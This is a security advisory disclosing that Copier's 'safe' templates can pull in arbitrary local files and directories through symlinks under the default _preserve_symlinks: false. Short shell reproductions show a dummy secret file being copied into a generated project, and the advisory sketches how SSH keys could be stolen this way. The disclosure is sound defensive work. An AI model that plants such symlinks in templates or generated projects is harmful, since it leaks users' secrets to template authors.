Copier safe template has arbitrary filesystem read access via symlinks when _preserve_symlinks: false

Impact

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently include arbitrary files/directories outside the local template clone location by using symlinks along with _preserve_symlinks: false (which is Copier's default setting).

Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations and hopes for a user to push the generated project to a public location like github.com where the template author can extract the secrets.

Reproducible example:

• Illegally include a file in the generated project via symlink resolution:

  bash

  echo "s3cr3t" > secret.txt
  
  mkdir src/
  pushd src/
  ln -s ../secret.txt stolen-secret.txt
  popd
  
  uvx copier copy src/ dst/
  
  cat dst/stolen-secret.txt
  #s3cr3t

• Illegally include a directory in the generated project via symlink resolution:

  bash

  mkdir secrets/
  pushd secrets/
  echo "s3cr3t" > secret.txt
  popd
  
  mkdir src/
  pushd src/
  ln -s ../secrets stolen-secrets
  popd
  
  uvx copier copy src/ dst/
  
  tree dst/
  # dst/
  # └── stolen-secrets
  #     └── secret.txt
  #
  # 1 directory, 1 file
  cat dst/stolen-secrets/secret.txt
  # s3cr3t

Patches

n/a

Workarounds

n/a

References

n/a